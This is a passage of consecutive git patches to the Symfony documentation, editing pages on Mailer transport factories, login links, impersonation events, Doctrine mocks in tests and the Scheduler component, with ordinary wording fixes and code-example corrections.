+    # config/services.yaml
     services:
         _defaults
             bind:
                 Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]'
 
-
 Now you can inject your service into your class:
 
 .. code-block:: php

From d8b8b5135394b4ccd1390319e9719dc4e73f756d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 18 Jan 2024 09:32:48 +0100
Subject: [PATCH 5686/7107] Fix build

---
 frontend/encore/advanced-config.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 3c5f60edad3..c6ad915acdb 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -188,9 +188,7 @@ To inject this service into your class, use the ``bind`` option:
             bind:
                 Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]'
 
-Now you can inject your service into your class:
-
-.. code-block:: php
+Now you can inject your service into your class::
 
     public function __construct(EntrypointLookupInterface $entryPointLookupEmail) {}
 

From efc058d7e50596cbce1dc049a436b30c23b61c58 Mon Sep 17 00:00:00 2001
From: Mathieu Rochette <mathieu@rochette.cc>
Date: Thu, 18 Jan 2024 09:30:36 +0100
Subject: [PATCH 5687/7107] Small typo fix in Messenger documentation

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 97100cdbd34..84de04743de 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -564,7 +564,7 @@ different messages to them. For example:
                             #    name: high
                             #queues:
                             #    messages_high: ~
-                            # or redis try "group"
+                            # for redis try "group"
                     async_priority_low:
                         dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
                         options:

From c19e8dffb5a671eef5ae3f452b4bd3a44066d2e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 10:56:52 +0100
Subject: [PATCH 5688/7107] Updated the versionadded directive

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 37a955efe42..3d49efea597 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -117,7 +117,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.1
 
-    The Azure integration was introduced in Symfony 7.1.
+    The Azure and Resend integrations were introduced in Symfony 7.1.
 
 .. note::
 

From 78ef5d52d16d58f7b24db4939f8b78e76f458d67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 10:58:00 +0100
Subject: [PATCH 5689/7107] [Webhook] Added a missing versionadded directive

---
 webhook.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/webhook.rst b/webhook.rst
index 32567bfe29d..05885602074 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -86,6 +86,10 @@ Resend         ``mailer.webhook.request_parser.resend``
 Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 ============== ==========================================
 
+.. versionadded:: 7.1
+
+    The Resend webhook was introduced in Symfony 7.1.
+
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
 path behind the domain you're using.

From c9d05e8255889a0537d9bf1c783c54736ae06c7a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 9 Aug 2022 23:46:59 +0200
Subject: [PATCH 5690/7107] Avoiding the term "login form"...

---
 security/login_link.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 40679e50071..bd6af94ad44 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -24,9 +24,8 @@ my password, etc.)
 Using the Login Link Authenticator
 ----------------------------------
 
-This guide assumes you have setup security and have created a user object
-in your application. Follow :doc:`the main security guide </security>` if
-this is not yet the case.
+This guide assumes you have :doc:`setup security and have created a user object </security>`
+in your application.
 
 1) Configure the Login Link Authenticator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -164,9 +163,8 @@ intercept requests to this route:
 2) Generate the Login Link
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now that the authenticator is able to check the login links, you must
-create a page where a user can request a login link and log in to your
-website.
+Now that the authenticator is able to check the login links, you can
+create a page where a user can request a login link.
 
 The login link can be generated using the
 :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface`.
@@ -189,7 +187,7 @@ this interface::
          */
         public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
         {
-            // check if login form is submitted
+            // check if form is submitted
             if ($request->isMethod('POST')) {
                 // load the user in some way (e.g. using the form input)
                 $email = $request->request->get('email');
@@ -203,8 +201,8 @@ this interface::
                 // ... send the link and return a response (see next section)
             }
 
-            // if it's not submitted, render the "login" form
-            return $this->render('security/login.html.twig');
+            // if it's not submitted, render the "request" form
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...
@@ -212,7 +210,7 @@ this interface::
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
+    {# templates/security/request_login_link.html.twig #}
     {% extends 'base.html.twig' %}
 
     {% block body %}
@@ -802,7 +800,7 @@ features such as the locale used to generate the link::
                 // ...
             }
 
-            return $this->render('security/login.html.twig');
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...

From 0b3b5674ad5715a6fbe999187e0bffb02ca71d15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 12:40:57 +0100
Subject: [PATCH 5691/7107] Minor tweak

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 31a64334eb1..73df5906565 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -197,7 +197,7 @@ this interface::
                 // ... send the link and return a response (see next section)
             }
 
-            // if it's not submitted, render the "request" form
+            // if it's not submitted, render the form to request the "login link"
             return $this->render('security/request_login_link.html.twig');
         }
 

From 4421eaa89976185b06617151b96d767a1358f4f5 Mon Sep 17 00:00:00 2001
From: DamienDeSousa <desousadamien30@gmail.com>
Date: Thu, 3 Mar 2022 11:34:04 +0100
Subject: [PATCH 5692/7107] Add information to sub request

---
 components/http_kernel.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 5900a0c0b87..665ab507f67 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -711,6 +711,11 @@ look like this::
 
 .. _http-kernel-resource-locator:
 
+Also, note that by default, if the ``_format`` attribute is not set in your request, the value will be ``html``.
+So, if your sub request returns something else than ``html`` (like json for instance) you can set it by setting the ``_format`` attribute on the request::
+
+    $request->attributes->set('_format', 'json');
+
 Locating Resources
 ------------------
 

From d52bcedf0e974906a51853a96534b624bdfd840a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 13:11:22 +0100
Subject: [PATCH 5693/7107] Minor reword

---
 components/http_kernel.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 665ab507f67..abfd5b16163 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -709,12 +709,15 @@ look like this::
         // ...
     }
 
-.. _http-kernel-resource-locator:
+.. note::
 
-Also, note that by default, if the ``_format`` attribute is not set in your request, the value will be ``html``.
-So, if your sub request returns something else than ``html`` (like json for instance) you can set it by setting the ``_format`` attribute on the request::
+    The default value of the ``_format`` request attribute is ``html``. If your
+    sub request returns a different format (e.g. ``json``) you can set it by
+    defining the ``_format`` attribute explicitly on the request::
 
-    $request->attributes->set('_format', 'json');
+        $request->attributes->set('_format', 'json');
+
+.. _http-kernel-resource-locator:
 
 Locating Resources
 ------------------

From 72b69c1a03fe36934a969f2b2bc500a0816c41e9 Mon Sep 17 00:00:00 2001
From: Albert Moreno <albert.moreno.dev@gmail.com>
Date: Wed, 5 Jan 2022 12:12:32 +0100
Subject: [PATCH 5694/7107] [Mailer] Add custom transport factories

---
 mailer.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 1b3e66f2aff..710a14381d1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -356,6 +356,54 @@ Other Options
 
         This option was introduced in Symfony 5.2.
 
+Custom Transport Factories
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+There is a way to easily create your own custom transport factory in case you need to do something special creating the actual transport.
+
+The new factory needs to implement :class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface`. To remove some boilerplate you can even extend from :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory` which will simplify the new factory::
+
+
+    final class CustomTransportFactory extends AbstractTransportFactory
+    {
+        public function create(Dsn $dsn): TransportInterface
+        {
+            // create and return the transport
+        }
+
+        protected function getSupportedSchemes(): array
+        {
+            return ['custom_schema'];
+        }
+    }
+
+Finally, declare the new factory in setting tag the tag `mailer.transport_factory`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        mailer.transport_factory.custom:
+            class: App\CustomTransportFactory
+            parent: mailer.transport_factory.abstract
+            tags:
+              - {name: mailer.transport_factory}
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <service id="mailer.transport_factory.custom" class="App\CustomTransportFactory" parent="mailer.transport_factory.abstract">
+            <tag name="mailer.transport_factory"/>
+        </service>
+
+    .. code-block:: php
+
+        // config/services.php
+        $services->set('mailer.transport_factory.custom', App\CustomTransportFactory::class)
+                 ->parent('mailer.transport_factory.abstract')
+                 ->tag('mailer.transport_factory');
+
 Creating & Sending Messages
 ---------------------------
 

From 3d3bdaa18d82895e874db84a592ed29c42704c8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Jan 2024 13:48:22 +0100
Subject: [PATCH 5695/7107] Minor reword

---
 mailer.rst | 49 +++++++++++++++----------------------------------
 1 file changed, 15 insertions(+), 34 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 710a14381d1..0a6fa9d2097 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -359,50 +359,31 @@ Other Options
 Custom Transport Factories
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There is a way to easily create your own custom transport factory in case you need to do something special creating the actual transport.
-
-The new factory needs to implement :class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface`. To remove some boilerplate you can even extend from :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory` which will simplify the new factory::
-
-
-    final class CustomTransportFactory extends AbstractTransportFactory
+If you want to support your own custom DSN (``acme://...``), you can create a
+custom transport factory. To do so, create a class that implements
+:class:`Symfony\\Component\\Mailer\\Transport\\TransportFactoryInterface` or, if
+you prefer, extend the :class:`Symfony\\Component\\Mailer\\Transport\\AbstractTransportFactory`
+class to save some boilerplate code::
+
+    // src/Mailer/AcmeTransportFactory.php
+    final class AcmeTransportFactory extends AbstractTransportFactory
     {
         public function create(Dsn $dsn): TransportInterface
         {
-            // create and return the transport
+            // parse the given DSN, extract data/credentials from it
+            // and then, create and return the transport
         }
 
         protected function getSupportedSchemes(): array
         {
-            return ['custom_schema'];
+            // this supports DSN starting with `acme://`
+            return ['acme'];
         }
     }
 
-Finally, declare the new factory in setting tag the tag `mailer.transport_factory`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        mailer.transport_factory.custom:
-            class: App\CustomTransportFactory
-            parent: mailer.transport_factory.abstract
-            tags:
-              - {name: mailer.transport_factory}
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <service id="mailer.transport_factory.custom" class="App\CustomTransportFactory" parent="mailer.transport_factory.abstract">
-            <tag name="mailer.transport_factory"/>
-        </service>
-
-    .. code-block:: php
-
-        // config/services.php
-        $services->set('mailer.transport_factory.custom', App\CustomTransportFactory::class)
-                 ->parent('mailer.transport_factory.abstract')
-                 ->tag('mailer.transport_factory');
+After creating the custom transport class, register it as a service in your
+application and :doc:`tag it </service_container/tags>` with the
+``mailer.transport_factory`` tag.
 
 Creating & Sending Messages
 ---------------------------

From 63b32b57c612d0095ee450038e5a447202b2ff21 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 18 Jan 2024 16:29:57 +0100
Subject: [PATCH 5696/7107] Revert "match parameter names with AbstractBundle"

This reverts commit 6896b7e44582dc9d986a8ed453c2dbcacf63e00a.
---
 bundles/extension.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index 861c7b60807..8b2928358ad 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -127,18 +127,18 @@ method::
 
     class AcmeHelloBundle extends AbstractBundle
     {
-        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
         {
             // load an XML, PHP or Yaml file
-            $container->import('../config/services.xml');
+            $containerConfigurator->import('../config/services.xml');
 
             // you can also add or replace parameters and services
-            $container->parameters()
+            $containerConfigurator->parameters()
                 ->set('acme_hello.phrase', $config['phrase'])
             ;
 
             if ($config['scream']) {
-                $container->services()
+                $containerConfigurator->services()
                     ->get('acme_hello.printer')
                         ->class(ScreamingPrinter::class)
                 ;

From cf8bed89825732853fa91b8bb62d75f36ccdc62e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 18 Jan 2024 17:02:21 +0100
Subject: [PATCH 5697/7107] use entity manager and repository instead of object
 manager/repository

---
 form/unit_testing.rst                 |  8 ++++----
 service_container/parent_services.rst |  4 ++--
 testing/database.rst                  | 24 ++++++++++++------------
 3 files changed, 18 insertions(+), 18 deletions(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 3c38bbbaf17..c730f8a63de 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -147,19 +147,19 @@ make sure the ``FormRegistry`` uses the created instance::
     namespace App\Tests\Form\Type;
 
     use App\Form\Type\TestedType;
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
     use Symfony\Component\Form\PreloadedExtension;
     use Symfony\Component\Form\Test\TypeTestCase;
     // ...
 
     class TestedTypeTest extends TypeTestCase
     {
-        private MockObject|ObjectManager $objectManager;
+        private MockObject&EntityManager $entityManager;
 
         protected function setUp(): void
         {
             // mock any dependencies
-            $this->objectManager = $this->createMock(ObjectManager::class);
+            $this->entityManager = $this->createMock(EntityManager::class);
 
             parent::setUp();
         }
@@ -167,7 +167,7 @@ make sure the ``FormRegistry`` uses the created instance::
         protected function getExtensions(): array
         {
             // create a type instance with the mocked dependencies
-            $type = new TestedType($this->objectManager);
+            $type = new TestedType($this->entityManager);
 
             return [
                 // register the type instances with the PreloadedExtension
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 6fea615bc63..b82222c43af 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -9,7 +9,7 @@ you may have multiple repository classes which need the
     // src/Repository/BaseDoctrineRepository.php
     namespace App\Repository;
 
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
     use Psr\Log\LoggerInterface;
 
     // ...
@@ -18,7 +18,7 @@ you may have multiple repository classes which need the
         protected LoggerInterface $logger;
 
         public function __construct(
-            protected ObjectManager $objectManager,
+            protected EntityManager $entityManager,
         ) {
         }
 
diff --git a/testing/database.rst b/testing/database.rst
index ebcaf288c58..3f7ce3704f8 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -20,18 +20,18 @@ Suppose the class you want to test looks like this::
     namespace App\Salary;
 
     use App\Entity\Employee;
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
 
     class SalaryCalculator
     {
         public function __construct(
-            private ObjectManager $objectManager,
+            private EntityManager $entityManager,
         ) {
         }
 
         public function calculateTotalSalary(int $id): int
         {
-            $employeeRepository = $this->objectManager
+            $employeeRepository = $this->entityManager
                 ->getRepository(Employee::class);
             $employee = $employeeRepository->find($id);
 
@@ -47,8 +47,8 @@ constructor, you can pass a mock object within a test::
 
     use App\Entity\Employee;
     use App\Salary\SalaryCalculator;
-    use Doctrine\Persistence\ObjectManager;
-    use Doctrine\Persistence\ObjectRepository;
+    use Doctrine\ORM\EntityManager;
+    use Doctrine\ORM\EntityRepository;
     use PHPUnit\Framework\TestCase;
 
     class SalaryCalculatorTest extends TestCase
@@ -60,20 +60,20 @@ constructor, you can pass a mock object within a test::
             $employee->setBonus(1100);
 
             // Now, mock the repository so it returns the mock of the employee
-            $employeeRepository = $this->createMock(ObjectRepository::class);
+            $employeeRepository = $this->createMock(EntityRepository::class);
             $employeeRepository->expects($this->any())
                 ->method('find')
                 ->willReturn($employee);
 
             // Last, mock the EntityManager to return the mock of the repository
             // (this is not needed if the class being tested injects the
-            // repository it uses instead of the entire object manager)
-            $objectManager = $this->createMock(ObjectManager::class);
-            $objectManager->expects($this->any())
+            // repository it uses instead of the entire entity manager)
+            $entityManager = $this->createMock(EntityManager::class);
+            $entityManager->expects($this->any())
                 ->method('getRepository')
                 ->willReturn($employeeRepository);
 
-            $salaryCalculator = new SalaryCalculator($objectManager);
+            $salaryCalculator = new SalaryCalculator($entityManager);
             $this->assertEquals(2100, $salaryCalculator->calculateTotalSalary(1));
         }
     }
@@ -94,12 +94,12 @@ so, get the entity manager via the service container as follows::
     namespace App\Tests\Repository;
 
     use App\Entity\Product;
-    use Doctrine\Persistence\ObjectManager;
+    use Doctrine\ORM\EntityManager;
     use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private ObjectManager $entityManager;
+        private EntityManager $entityManager;
 
         protected function setUp(): void
         {

From 286959dbd828442adc9c044422a0d3ddbff15870 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 18 Jan 2024 21:27:45 +0100
Subject: [PATCH 5698/7107] Fix scheduler examples

---
 scheduler.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a272db1d0fd..21b7dbc9aa2 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -48,7 +48,7 @@ the task of creating a report::
 
     class SendDailySalesReports
     {
-        public function __construct(private string $id) {}
+        public function __construct(private int $id) {}
 
         public function getId(): int
         {
@@ -61,6 +61,9 @@ Next, create the handler that processes that kind of message::
     // src/Scheduler/Handler/SendDailySalesReportsHandler.php
     namespace App\Scheduler\Handler;
 
+    use App\Scheduler\Message\SendDailySalesReports;
+    use Symfony\Component\Messenger\Attribute\AsMessageHandler;
+
     #[AsMessageHandler]
     class SendDailySalesReportsHandler
     {
@@ -105,9 +108,13 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
 which by default references the schedule named ``default``, allows you to register
 on a particular schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
+    use Symfony\Component\Scheduler\Attribute\AsSchedule;
+    use Symfony\Component\Scheduler\Schedule;
+    use Symfony\Component\Scheduler\ScheduleProviderInterface;
+
     #[AsSchedule]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
@@ -260,7 +267,7 @@ Then, define your recurring message::
 
 Finally, the recurring messages has to be attached to a schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -344,7 +351,7 @@ via the ``stateful`` option (and the :doc:`Cache component </components/cache>`)
 This way, when it wakes up again, it looks at all the dates and can catch up on
 what it missed::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -366,7 +373,7 @@ To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -395,7 +402,7 @@ your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMess
 This allows you to specify a transport on which your message will be redispatched
 before being further redispatched to its corresponding handler::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]

From 5942a35189cf59588296b8ac6ea7ab474a938989 Mon Sep 17 00:00:00 2001
From: Allison Guilhem <allison.guilhem@gmail.com>
Date: Fri, 19 Jan 2024 16:56:18 +1100
Subject: [PATCH 5699/7107] [SCHEDULER] clarify idle state and stateful option

---
 scheduler.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a272db1d0fd..6475728fd69 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -105,7 +105,7 @@ The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute,
 which by default references the schedule named ``default``, allows you to register
 on a particular schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule]
@@ -260,7 +260,7 @@ Then, define your recurring message::
 
 Finally, the recurring messages has to be attached to a schedule::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -336,15 +336,20 @@ recurring messages. You can narrow down the list to a specific schedule:
 Efficient management with Symfony Scheduler
 -------------------------------------------
 
-If a worker becomes idle, the recurring messages won't be generated (because they
-are created on-the-fly by the scheduler transport).
+When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport).
+This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message.
+Upon restart, it will recalculate the messages to be generated from that point onward.
+
+To illustrate, consider a recurring message set to be sent every 3 days.
+If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5.
+
+While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This way, when it wakes up again, it looks at all the dates and can catch up on
-what it missed::
+This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -366,7 +371,7 @@ To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]
@@ -395,7 +400,7 @@ your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMess
 This allows you to specify a transport on which your message will be redispatched
 before being further redispatched to its corresponding handler::
 
-    // src/Scheduler/MyScheduleProvider.php
+    // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
 
     #[AsSchedule('uptoyou')]

From d36a14fb372353cf450624d5bdcffcee6cec1123 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 21 Jan 2024 13:13:29 +0100
Subject: [PATCH 5700/7107] Ask to open PRs for new features in 7.x

---
 .github/PULL_REQUEST_TEMPLATE.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index 17cec7af7c3..f32043e4523 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -4,6 +4,6 @@ If your pull request fixes a BUG, use the oldest maintained branch that contains
 the bug (see https://symfony.com/releases for the list of maintained branches).
 
 If your pull request documents a NEW FEATURE, use the same Symfony branch where
-the feature was introduced (and `6.x` for features of unreleased versions).
+the feature was introduced (and `7.x` for features of unreleased versions).
 
 -->

From 541a016e4405034ae0b877fe61fd522fc4930162 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 21 Jan 2024 13:40:58 +0100
Subject: [PATCH 5701/7107] Reword impersonnating event description

---
 security/impersonating_user.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 99ba88d2b25..75003f6495b 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -363,9 +363,14 @@ not this is allowed. If your voter isn't called, see :ref:`declaring-the-voter-a
 Events
 ------
 
-The firewall dispatches the ``security.switch_user`` event right after the impersonation
-is completed. The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
-passed to the listener, and you can use this to get the user that you are now impersonating.
+Just before the impersonation is fully completed, the ``security.switch_user`` event is
+dispatched.
+The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
+passed to the :doc:`listener or subscriber </event_dispatcher>`, and you can use
+this to get the user that you are now impersonating.
+
+This event is also dispatched just before impersonation is fully exited. You can
+use it to get the original impersonator user.
 
 The :ref:`locale-sticky-session` section does not update the locale when you
 impersonate a user. If you *do* want to be sure to update the locale when you

From f604e8943f436d8f33990fa51d20dfc440534b60 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Jan 2024 08:24:26 +0100
Subject: [PATCH 5702/7107] Wrap long lines

---
 scheduler.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 6475728fd69..358ca5c78f1 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -336,14 +336,19 @@ recurring messages. You can narrow down the list to a specific schedule:
 Efficient management with Symfony Scheduler
 -------------------------------------------
 
-When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport).
-This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message.
-Upon restart, it will recalculate the messages to be generated from that point onward.
-
-To illustrate, consider a recurring message set to be sent every 3 days.
-If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5.
-
-While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking.
+When a worker is restarted or undergoes shutdown for a period, the Scheduler
+transport won't be able to generate the messages (because they are created
+on-the-fly by the scheduler transport). This implies that any messages
+scheduled to be sent during the worker's inactive period are not sent, and the
+Scheduler will lose track of the last processed message. Upon restart, it will
+recalculate the messages to be generated from that point onward.
+
+To illustrate, consider a recurring message set to be sent every 3 days. If a
+worker is restarted on day 2, the message will be sent 3 days from the restart,
+on day 5.
+
+While this behavior may not necessarily pose a problem, there is a possibility
+that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).

From 9816136c484f361f784cb80a539867e02a8f928f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 22 Jan 2024 13:28:01 +0100
Subject: [PATCH 5703/7107] fix typo

---
 scheduler.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 358ca5c78f1..2bf03558c6c 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -352,7 +352,8 @@ that it may not align with what you are seeking.
 
 That's why the scheduler allows to remember the last execution date of a message
 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
+This allows the system to retain the state of the schedule, ensuring that when
+a worker is restarted, it resumes from the point it left off::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;

From f41721c4374b12deb0a627f2507201c27108b915 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 18 Jan 2024 21:27:45 +0100
Subject: [PATCH 5704/7107] [Scheduler] Document hashed Cron expression

---
 scheduler.rst | 82 +++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 67 insertions(+), 15 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index a272db1d0fd..0805a923a1a 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -48,7 +48,7 @@ the task of creating a report::
 
     class SendDailySalesReports
     {
-        public function __construct(private string $id) {}
+        public function __construct(private int $id) {}
 
         public function getId(): int
         {
@@ -61,6 +61,9 @@ Next, create the handler that processes that kind of message::
     // src/Scheduler/Handler/SendDailySalesReportsHandler.php
